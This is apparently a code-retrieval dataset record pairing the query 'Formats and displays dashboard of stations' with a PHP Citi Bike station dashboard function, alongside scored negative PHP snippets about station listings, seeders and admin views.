'/var/log/httpd/error_log');\n }", "protected function detail($id)\n {\n $show = new Show(Station::findOrFail($id));\n\n $show->field('id', __('Id'));\n\n //ref https://github.com/z-song/laravel-admin/issues/3107\n $show->area_id(trans('admin.area_name'))->as(function ($area_id) {\n return Area::where('id', $area_id)->first()->area_name ?? null;\n });\n\n $show->field('station_code', __(trans('admin.station_code')));\n $show->field('station_name', __(trans('admin.station_name')));\n $show->field('address', __(trans('admin.address')));\n $show->field('telno', __(trans('admin.telno')));\n $show->field('remark', __(trans('admin.remark')));\n $show->field('footer', __(trans('admin.footer')))->unescape();\n $show->field('order', __(trans('admin.order')));\n $show->field('valid_at', __(trans('admin.valid_at')));\n $show->field('mod_user', __(trans('admin.mod_user')));\n $show->field('created_at', __(trans('admin.created_at')));\n $show->field('updated_at', __(trans('admin.updated_at')));\n\n return $show;\n }", "public function getStationLikeName($stationName)\n {\n $stations = $this->stationRequest->getStationLikeName($stationName);\n\n $returnedValue = json_encode($stations);\n\n echo($returnedValue);\n\n return $returnedValue;\n }", "public function getInfo(){ \n return $this->title .' ('. $this->year . ')';\n }", "function affiche_info($str) { echo '<p>'.$str.'</p>'; }", "public function show_report_service()\n { \n $this->load->model(\"swm/frontend/M_swm_attend\", \"msa\");\n $rs_service_data = $this->msa->get_time_us_attend(getNowDate(),getNowDate());//startDate, endDate, startAge, endAge, state\n $data['rs_service_data'] = $rs_service_data->result();\n $this->output(\"swm/frontend/v_report_service\", $data, true);\n }" ]
[ "0.6746428", "0.6442647", "0.6134735", "0.6123516", "0.5837576", "0.5769407", "0.57094157", "0.56023014", "0.54710567", "0.54638994", "0.5393682", "0.53930306", "0.53766215", "0.53680634", "0.5357999", "0.531698", "0.52654546", "0.5244699", "0.5224452", "0.52166784", "0.52143204", "0.5211201", "0.52042574", "0.5197119", "0.519647", "0.5193338", "0.51907617", "0.51882243", "0.51664567", "0.51635116", "0.5152094", "0.51459795", "0.51401365", "0.51192206", "0.5100008", "0.50483346", "0.5044563", "0.50326097", "0.5014013", "0.50083023", "0.50077397", "0.49907288", "0.4986344", "0.49838728", "0.4979758", "0.49540827", "0.49480328", "0.49448848", "0.4929556", "0.4924634", "0.48940864", "0.48842052", "0.488284", "0.48797715", "0.48762286", "0.48717433", "0.4858108", "0.4852544", "0.4826566", "0.4816996", "0.48165703", "0.48141375", "0.48092195", "0.47950798", "0.4793506", "0.47901762", "0.47869876", "0.47837913", "0.4783194", "0.47828427", "0.47703177", "0.47599497", "0.47568634", "0.4747219", "0.4739318", "0.47321162", "0.47153968", "0.4712161", "0.47103724", "0.4707076", "0.4706616", "0.4705178", "0.47036234", "0.47015652", "0.46983835", "0.46935716", "0.4687904", "0.4687665", "0.46824485", "0.46803868", "0.46783915", "0.46749583", "0.46701184", "0.4665512", "0.466106", "0.46597296", "0.4643676", "0.46418658", "0.46386245", "0.46364206" ]
0.6431243
2
Formats and displays dashboard of stations
function displayDashboard($myLocations, $myStations, $lastUpdated) { ?> <?=$lastUpdated?> | <a href="<?=$GLOBALS['MAP_URL']?>" target="_blank">citibike live station map</a> <table cellpadding="2"> <tr><th colspan="2">Going to work</th></tr> <tr><td>Available Bikes</td><td>Available Docks</td></tr> <tr valign="top"> <?php $count = 0; foreach ($myLocations as $type => $location) { ?> <td> <?php foreach ($myStations as $station) if ($station->type == $type) echo displayStation($station, $count == 0 ? "bikes" : "docks")."<br />"; ?> </td> <?php $count++; } ?> </tr> <tr><th colspan="2">Heading home</th></tr> <tr><td>Available Bikes</td><td>Available Docks</td></tr> <tr valign="top"> <tr valign="top"> <?php $count = 0; foreach (array_reverse($myLocations) as $type => $location) { ?> <td> <?php foreach ($myStations as $station) if ($station->type == $type) echo displayStation($station, $count == 0 ? "bikes" : "docks")."<br />"; ?> </td> <?php $count++; } ?> </tr> </table> <?php }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getStation() {\n\t\t$stations = @file(Flight::get(\"pathStation\"),FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\n\t\tif (count($stations) >=1 && $stations ) {\n\t\t\tforeach ($stations as $station) {\n\t\t\t\t$station = explode(\"#\",$station);\n\t\t\t\t$x = explode(' ',$station[0]);\n\t\t\t\t$entry[] = array('URL'=>rtrim($x[1]),'name'=>ltrim($station[1],\"#\"),'selected'=> $x[0]);\n\t\t\t}\n\t\t\tFlight::json(array('Status' => \"OK\", 'station' => $entry));\n\t\t}\n\t\telse Flight::json(array('Status' => \"KO\", 'station' => 'Not Found'));\n\t}", "public function run()\n {\n $station_func = array(array('station'=>'Headquarters', 'function'=>'AIM Products Management'),\n\t\t\t\t\t\tarray('station'=>'Jomo Kenyatta International Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Jomo Kenyatta International Airport NOF', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Nairobi Wilson Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Moi International Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Eldoret International Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Kisumu Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Malindi Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Wajir Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\tarray('station'=>'Lokochoggio Airport', 'function'=>'AIS Products Management'),\n\t\t\t\t\t\t\n\t\t\t\t\t\tarray('station'=>'Jomo Kenyatta International Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Nairobi Wilson Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Moi International Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Eldoret International Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Kisumu Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Malindi Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Wajir Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\tarray('station'=>'Lokochoggio Airport', 'function'=>'Flight Planning Management'),\n\t\t\t\t\t\t\n\t\t\t\t\t\tarray('station'=>'Headquarters', 'function'=>'Maps and Charts Management'),\n\t\t\t\t\t\tarray('station'=>'Headquarters', 'function'=>'Terrain and Obstacle Data Management'),\n\t\t\t\t\t\tarray('station'=>'Headquarters', 'function'=>'Instrument/Visual flight procedure design'),\n\t\t\t\t\t\t\n\t\t\t\t\t\tarray('station'=>'Headquarters', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Jomo Kenyatta International Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Jomo Kenyatta International Airport NOF', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Nairobi Wilson Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Moi International Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Eldoret International Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Kisumu Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Malindi Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Wajir Airport', 'function'=>'Technical library'),\n\t\t\t\t\t\tarray('station'=>'Lokochoggio Airport', 'function'=>'Technical library'),\n\t\t);\n\t\t\n\t\t$stations = Station::all();\n\t\t$functions = Func::all();\n\t\t\n\t\tfor($i = 0; $i < count($station_func); $i++){\n\t\t\tforeach($stations as $station){\n\t\t\t\tif($station_func[$i]['station'] == $station->name){\n\t\t\t\t\tforeach($functions as $function){\n\t\t\t\t\t\tif($station_func[$i]['function'] == $function->name){\n\t\t\t\t\t\t\t$station->func()->attach($function);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n }", "public function index()\n\t{\n\t\t$stations = Station::paginate(9);\n\t\t$branches = DB::table('branches')->get();\n\t\t$branches_id = DB::table('branches')\n\t\t->lists('branch_name', 'id');\n\n\t\treturn View::make('stations.index', compact('stations'))\n\t\t->with('stations', $stations)\n\t\t->with('branches', $branches)\n\t\t->with('branches_id', $branches_id);\n\t}", "public function index()\n {\n $stations = Station::paginate(20);\n return view('stations.index')->withStations($stations);\n }", "public function index()\n {\n return view('places.index')->with([ \n 'stations' => DB::table('stations')\n ->select('name')\n ->groupBy('name')\n ->get() \n ]); \n }", "public function standings()\n {\n return view('standings.realtime');\n }", "public function run()\n {\n $station = new \\App\\Station();\n $station->code = \"OR14\";\n $station->kilometer_marker = 13.54;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"ศูนย์วัฒนธรรมแห่งประเทศไทย\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Thailand Cultural Center\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR15\";\n $station->kilometer_marker = 15.05;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"รฟม.\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"MRTA\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR16\";\n $station->kilometer_marker = 16.62;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"ประดิษฐ์มนูธรรม\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Pradit Manutham\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR17\";\n $station->kilometer_marker = 18.77;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"รามคำแหง 12\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Ramkhamhaeng 12\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR18\";\n $station->kilometer_marker = 19.98;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"มหาวิทยาลัยรามคำแหง\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Ramkhamhaeng University\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR19\";\n $station->kilometer_marker = 20.93;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"ราชมังคลา\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Rajamangala\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR20\";\n $station->kilometer_marker = 22.20;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"หัวหมาก\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Hua Mak\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR21\";\n $station->kilometer_marker = 23.20;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"ลำสาลี\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Lam Sali\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR22\";\n $station->kilometer_marker = 24.56;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"ศรีบูรพา\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Si Burapha\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR23\";\n $station->kilometer_marker = 25.75;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"คลองบ้านม้า\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Khlong Ban Ma\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR24\";\n $station->kilometer_marker = 26.73;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"สัมมากร\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Sammakon\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR25\";\n $station->kilometer_marker = 28.66;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"น้อมเกล้า\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Nom Klao\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR26\";\n $station->kilometer_marker = 29.95;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"ราษฎร์พัฒนา\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Rat Phatthana\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR27\";\n $station->kilometer_marker = 31.01;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"วัดบางเพ็ง\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Wat Bang Pheng\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR28\";\n $station->kilometer_marker = 32.59;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"เคหะรามคำแหง\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Kheha Ramkhamhaeng\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR29\";\n $station->kilometer_marker = 33.85;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"มีนบุรี\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Min Buri\";\n $station_translation->save();\n\n $station = new \\App\\Station();\n $station->code = \"OR30\";\n $station->kilometer_marker = 34.63;\n $station->status_id = 2;\n $station->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"th\";\n $station_translation->name = \"สุวินทวงศ์\";\n $station_translation->save();\n $station_translation = new \\App\\StationTranslation();\n $station_translation->station_id = $station->id;\n $station_translation->local = \"en\";\n $station_translation->name = \"Suwinthawong\";\n $station_translation->save();\n }", "protected function get_station( ) {\n// This function is never called. It is here for completeness of documentation.\n\n if (strlen($this->current_group_text) == 4) {\n $this->wxInfo['STATION'] = $this->current_group_text;\n $this->current_ptr++;\n }\n $this->current_group++;\n }", "public function index()\n {\n $stations = Stations::whereIn('type', [1,2])->get();\n return view('stations.index', ['stations'=>$stations]);\n }", "public function allStations() {\n\t\t$data ['stations'] = $this->_station->getStations($keyword);\n\t\t//print_r($data ['stations']);\n\t\theader('Content-Type: application/json');\n\t\techo json_encode($data ['stations']);\n\t}", "public function index() {\n\t\t$this->load->model('logbook_model');\n\t\t$this->load->model('bands');\n\t\t$total_sat = $this->logbook_model->total_sat();\n\t\tif ($total_sat->num_rows() == 0) {\n\t\t\tredirect('gridsquares/band/2m');\n\t\t\treturn;\n\t\t}\n\n\t\t$data['page_title'] = \"Gridsquare Map\";\n\t\t$data['sat_active'] = array_search(\"SAT\", $this->bands->get_user_bands(), true);\n\n\t\t$this->load->view('interface_assets/header', $data);\n\t\t$this->load->view('gridsquares/main.php');\n\t\t$this->load->view('interface_assets/footer');\n\t}", "function displayStation ($station, $value)\n {\n global $THRESHOLD, $IN_SERVICE;\n $str = $station->$value.\" @ \".$station->name;\n\n if ($station->status != $IN_SERVICE)\n return \"<b><font color='red'>\".$station->status.\"</font></b>\";\n if (intval($station->$value) < $THRESHOLD)\n return \"<b><font color='red'>\".$str.\"</font></b>\";\n\n return $str;\n }", "public function stationview_get(){\n\t\t$id = $this->get('id');\n\t\tif(count($this->get())>1){\n\t\t\t$response = array(\n\t\t\t\t\"status\"=>\"error\",\n\t\t\t\t\"status_code\"=>409,\n\t\t\t\t\"message\"=>\"Too many params was sent\",\n\t\t\t\t\"validations\"=>array(\n\t\t\t\t\t\"id\"=>\"Send Id (Get) to get specific station, or empty to get all stations\"\n\t\t\t\t),\n\t\t\t\t\"data\"=>null\n\t\t\t);\n\t\t}else{\n\t\t\tif($id){\n\t\t\t\t$response = $this->DAO->entitySelection('systemStation',array('idStation'=>$id),TRUE);\n\t\t\t}else{\n\t\t\t\t$response = $this->DAO->entitySelection('systemStation');\n\t\t\t}\n\t\t}\n\t\t$this->response($response,200);\n\t}", "function show_dashboardlist()\n{\n\tglobal $db;\n\t$result = $db->fetchAll(\"select station.sid, value, station_variables.name as name from station, station_variables where (station_variables.name='options' or station_variables.name='name') and station.sid = station_variables.sid\");\n\n#encode moduels into array\n\tforeach ($result as $value)\n\t{\n\t $modules[$value['sid']][$value['name']] = $value['value'];\n\t}\n\n#find all the dashboards that are used in a specific modues\n\tforeach ($modules as $sid => $value)\n\t{\n\t\t\n\t\t//var_dump($option_field);\n\t $option_field = json_decode($value['options'], true);\n\t\tif(isset($option_field)) \n\t\t{\n\t\t\tforeach ($option_field as $dashboard => $options)\n\t\t\t{\n\t\t\t\tif(is_int($dashboard))\n\t\t\t\t{\n\t\t\t\t\t$dashboardlist[$dashboard][$sid]=$value['name'];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\t$content = '<html><head><title>CSF Dashboard List</title>';\n\t$content .= '<link rel=\"stylesheet\" href=\"css/base.css\" type=\"text/css\" />';\n\t$content .= '</head><body>';\n#list all the dashboards with their respective \n\tif(isset($dashboardlist))\n\t{\n\t\tksort($dashboardlist);\n\t\n\t\t$content .= '<table class=\"dashboardlist\">';\n\t\t$content .= '<tr><th>Dashboards</th><th></th><th>Modules</th>';\n\t\tforeach ($dashboardlist as $dashboard => $value)\n\t\t{\n\t\t\t$content .= '<tr onClick=\"location.href=\\'index.php?dashboard='.$dashboard.'\\'\" onMouseOver=\"this.style.backgroundColor=\\'#E1EAFE\\';this.style.cursor=\\'pointer\\'\"; onMouseOut=\"this.style.backgroundColor=\\'transparent\\'\"\n\t><td class=\"dashboardlist\" align=\"center\" valign=\"top\">'.$dashboard .'<td class=\"dashboardlist \"valign=\"top\"> -> </td><td class=\"dashboardlist\" valign=\"top\">';\n\t\t\t$i = 0;\n\t\t\tforeach($value as $sid => $name)\n\t\t\t{\n\t\t\t#if($i!=0) $content .= \", \";\n\t\t\t$i++;\n\t\t\t$content .= $name.'<br>';\n\t\t\t}\n\t\t\t$content .= '</td></tr>';\n\t\t}\n\t}\n\telse\n\t{\n\t\t$content .= '<table class=\"dashboardlist\">';\n\t\t$content .= '<tr><th>You do not have any dashboards set.</th></th></tr>';\n\t}\n\t$content .= '</table></body></html>';\n\t\n\techo $content;\n}", "public function index()\n {\n $StationDetails = array(\"station_name\"=>\"\",\n \"station_number\"=>\"\",\n \"city\"=>\"\",\n \"longitude\"=>\"\",\n \"latitude\"=>\"\",\n \"code\"=>\"\",\n \"region\"=>\"\",\n \"StationCategory\"=>\"\",\n // \"10m_node\"=>array(\n // \"name\"=>\"10m node\",\n // \"txt_key\"=>\"TXT\",\n // \"mac_add\"=>\"E64\",\n // \"date\"=>\"D\",\n // \"vin_label\"=>\"V_IN\",\n // \"time\"=>\"TZ\",\n // \"gwlat\"=>\"GW_LAT\",\n // \"gwlong\"=>\"GW_LONG\",\n // \"v_in_max_value\"=>\"4\",\n // \"v_in_min_value\"=>\"2\",\n // \"ttl\"=>\"TTL\",\n // \"rssi\"=>\"RSSI\",\n // \"lqi\"=>\"LQI\",\n // \"drp\"=>\"DRP\",\n // \"ps\"=>\"PS\",\n // \"v_mcu_max_value\"=>\"3\",\n // \"v_mcu_min_value\"=>\"1\",\n // \"v_mcu_label\"=>\"V_MCU\",\n // \"ut\"=>\"UT\",\n // ),\n // \"ground_node\"=>array(\n // \"name\"=>\"ground node\",\n // \"txt_key\"=>\"TXT\",\n // \"mac_add\"=>\"E64\",\n // \"date\"=>\"D\",\n // \"vin_label\"=>\"V_IN\",\n // \"time\"=>\"TZ\",\n // \"ut\"=>\"UT\",\n // \"gwlat\"=>\"GW_LAT\",\n // \"gwlong\"=>\"GW_LONG\",\n // \"v_in_max_value\"=>\"4\",\n // \"v_in_min_value\"=>\"2\",\n // \"ttl\"=>\"TTL\",\n // \"rssi\"=>\"RSSI\",\n // \"lqi\"=>\"LQI\",\n // \"drp\"=>\"DRP\",\n // \"ps\"=>\"PS\",\n // \"v_mcu_max_value\"=>\"3\",\n // \"v_mcu_min_value\"=>\"1\",\n // \"v_mcu_label\"=>\"V_MCU\",\n // \"po\"=>\"P0\",\n // \"rain_pulses\"=>\"P0_IST60\",\n // \"up\"=>\"UP\",\n // \"t\"=>\"T\",\n // \"v_a2\"=>\"V_A2\",\n \n // ),\n // \"sink_node\"=>array(\n // \"name\"=>\"Sink node\",\n // \"txt_key\"=>\"TXT\",\n // \"mac_add\"=>\"E64\",\n // \"date\"=>\"D\",\n // \"vin_label\"=>\"V_IN\",\n // \"time\"=>\"TZ\",\n // \"gwlat\"=>\"GW_LAT\",\n // \"gwlong\"=>\"GW_LONG\",\n // \"v_in_max_value\"=>\"4\",\n // \"v_in_min_value\"=>\"2\",\n // \"ttl\"=>\"TTL\",\n // \"rssi\"=>\"RSSI\",\n // \"lqi\"=>\"LQI\",\n // \"drp\"=>\"DRP\",\n // \"ps\"=>\"PS\",\n // \"v_mcu_max_value\"=>\"3\",\n // \"v_mcu_min_value\"=>\"1\",\n // \"v_mcu_label\"=>\"V_MCU\",\n // \"ut\"=>\"UT\",\n // \"up\"=>\"UP\",\n \n // ),\n // \"2m_node\"=>array(\n // \"name\"=>\"2m node\",\n // \"txt_key\"=>\"TXT\",\n // \"mac_add\"=>\"E64\",\n // \"date\"=>\"D\",\n // \"vin_label\"=>\"V_IN\",\n // \"time\"=>\"TZ\",\n // \"gwlat\"=>\"GW_LAT\",\n // \"gwlong\"=>\"GW_LONG\",\n // \"v_in_max_value\"=>\"4\",\n // \"v_in_min_value\"=>\"2\",\n // \"ttl\"=>\"TTL\",\n // \"rssi\"=>\"RSSI\",\n // \"lqi\"=>\"LQI\",\n // \"drp\"=>\"DRP\",\n // \"ps\"=>\"PS\",\n // \"v_mcu_max_value\"=>\"3\",\n // \"v_mcu_min_value\"=>\"1\",\n // \"v_mcu_label\"=>\"V_MCU\",\n // \"ut\"=>\"UT\",\n // ),\n // \"Temp_semsor\"=>array(\n // \"parameter_read\"=>\"Temperature\",\n // \"identifier_used\"=>\"T_SHT2X\",\n // \"max_value\"=>\"6\",\n // \"min_value\"=>\"2\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n \n // \"wind_speed_semsor\"=>array(\n // \"parameter_read\"=>\"wind speed\",\n // \"identifier_used\"=>\"P0_LST60\",\n // \"max_value\"=>\"5\",\n // \"min_value\"=>\"3\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"wind_direction_semsor\"=>array(\n // \"parameter_read\"=>\"wind direction\",\n // \"identifier_used\"=>\"V_A1,V_A2\",\n // \"max_value\"=>\"360\",\n // \"min_value\"=>\"0\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"insulation_sensor\"=>array(\n // \"parameter_read\"=>\"insolation\",\n // \"identifier_used\"=>\"V_AD1,V_AD2\",\n // \"max_value\"=>\"2\",\n // \"min_value\"=>\"1\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"relative_humidity_semsor\"=>array(\n // \"parameter_read\"=>\"relative humidity\",\n // \"identifier_used\"=>\"RH_SHT2X\",\n // \"max_value\"=>\"6\",\n // \"min_value\"=>\"1\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"soil_moisture_semsor\"=>array(\n // \"parameter_read\"=>\"soil moisture\",\n // \"identifier_used\"=>\"V_A1,V_A2\",\n // \"max_value\"=>\"5\",\n // \"min_value\"=>\"2\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"soil_temp_semsor\"=>array(\n // \"parameter_read\"=>\"soil temperature\",\n // \"identifier_used\"=>\"T1\",\n // \"max_value\"=>\"2\",\n // \"min_value\"=>\"1\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"preciptation_semsor\"=>array(\n // \"parameter_read\"=>\"preciptation\",\n // \"identifier_used\"=>\"P0_IST60\",\n // \"max_value\"=>\"4.5\",\n // \"min_value\"=>\"4.7\",\n // \"rpt_intvl\"=>\"1\",\n // ),\n // \"pressure_semsor\"=>array(\n // \"parameter_read\"=>\"pressure\",\n // \"identifier_used\"=>\"P_MS5611\",\n // \"max_value\"=>\"8\",\n // \"min_value\"=>\"1\",\n // \"rpt_intvl\"=>\"1\",\n );\n\n return view('layouts.addstation')\n ->with('stationdetails', $StationDetails);\n }", "public function index()\n {\n \n $train_station = TrainStation::all();\n return view('index', compact( 'train_station'));\n }", "function show_standings()\n\t{\n\t\t// Retrieve all the players, teams, or seasons.\n\t\t$leagues = $this->league->retrieve_roster();\n\t\t$seasons = $this->seasons->retrieve_roster();\n\n\t\t// If there are no players, teams, or seasons...\n\t\tif (!$leagues || !$seasons)\n\t\t{\n\t\t\tshow_error('At least one league, one team, and one season must be added for standings functions to work.');\n\t\t}\n\n\t\t$data = array(\n\t\t\t'form_action' => 'action_show_standings',\n\t\t\t'title' => 'View Standings',\n\t\t\t'js' => array('/js/admin/show_roster.js'),\n\t\t\t'css' => array('/styles/admin.css'),\n\t\t\t'leagues' => $leagues,\n\t\t\t'seasons' => $seasons,\n\t\t\t'msg' => 'Please select the league and the season for the standings you wish to see.',\n\t\t\t'submit_message' => 'Show Standings',\n\t\t\t'sidenav' => self::$user_links\n\t\t);\n\n\t\t$this->load->helper(array('form'));\n\n\t\t$this->load->view('admin/show_standings.php', $data);\n\t}", "public function create()\n {\n return view('stations.create');\n }", "public function dashboard() {\n\t\t$template = \"dashboard.tpl\";\n\t\t$data['name'] = $_SESSION['first'] . \" \" . $_SESSION['last'];\n\t\t$data['html'] = $this->paint_screen();\n\t\t$this->load_smarty($data,$template);\n\t}", "function buildModuleDashboard() {\n\tglobal $fmdb, $__FM_CONFIG;\n\n\t$dashboard = $errors = null;\n\t\n\t/** Name server stats */\n\tif (currentUserCan('manage_servers', $_SESSION['module'])) {\n\t\tbasicGetList('fm_' . $__FM_CONFIG[$_SESSION['module']]['prefix'] . 'servers', 'server_id', 'server_', 'AND server_type!=\"remote\"');\n\t\t$server_count = $fmdb->num_rows;\n\t\t$server_results = $fmdb->last_result;\n\t\tfor ($i=0; $i<$server_count; $i++) {\n\t\t\tif ($server_results[$i]->server_installed != 'yes') {\n\t\t\t\t$errors .= sprintf('<b>%s</b> - %s' . \"\\n\", $server_results[$i]->server_name, __('Client is not installed.'));\n\t\t\t} elseif (isset($server_results[$i]->server_client_version) && $server_results[$i]->server_client_version != getOption('client_version', 0, $_SESSION['module'])) {\n\t\t\t\t$errors .= sprintf('<a href=\"%s\"><b>%s</b></a> - %s' . \"\\n\", getMenuURL(_('Servers')), $server_results[$i]->server_name, __('Client needs to be upgraded.'));\n\t\t\t} elseif ($server_results[$i]->server_build_config != 'no' && $server_results[$i]->server_status == 'active') {\n\t\t\t\t$errors .= sprintf('<a href=\"%s\"><b>%s</b></a> - %s' . 